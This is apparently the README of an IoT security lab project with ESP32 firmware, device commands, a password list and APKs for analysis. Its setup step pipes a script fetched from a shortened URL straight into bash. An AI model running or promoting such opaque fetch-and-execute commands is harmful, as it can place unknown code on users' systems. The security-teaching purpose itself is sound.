Welcome to the IoT Security project! This repository contains a series of labs and a broken firmware designed to help you understand and improve IoT security.
To set up the development environment, run the following command in your terminal:
bash <(curl -L https://tinyurl.com/3tfzhavn)
This will install all necessary dependencies and tools required for the labs.
Here are some commands you can use within the development environment:
flash
: Flash your ESP32 with clean firmwareflash_erase
: Set ESP32 flash to all0x0
upload
: Upload your MicroPython code from thesrc/
directoryupload_lab LABNAME
: Upload a lab calledLABNAME
fs
: Browse the filesystem on your ESP32repl_peek
: Show logsrepl
: Start an interactive Read-Eval-Print Loop (REPL)devenv_help
: Print all available commands
Hint: See ESP32.md for an overview of the ESP32's functionality.
When you connect two ESP32 devices to the same PC, they will be exposed as:
/dev/ttyUSB0
/dev/ttyUSB1
You can run any development environment commands on a specific tty by specifying it:
flash /dev/ttyUSB0
To run a command on all connected ESP32 devices, use the alltty
command:
alltty COMMAND
For example, to flash firmware on all connected devices:
alltty flash
- Contains subdirectories for various lab exercises and projects, each with their own Python scripts and initialization files.
- Contains the main source code for the project, including various Python scripts for different functionalities and a web-related subdirectory.
- Contains various firmware binaries for ESP32 and ESP32C3 microcontrollers.
- Contains zipped APK files for the Micodus application, possibly for reverse engineering or analysis purposes.
- Contains a list of common passwords, likely used for security testing or password strength validation.
This project is licensed under the MIT License. See the LICENSE file for details.
If you have any questions or need further assistance, feel free to open an issue or contact the project maintainers.
Happy hacking!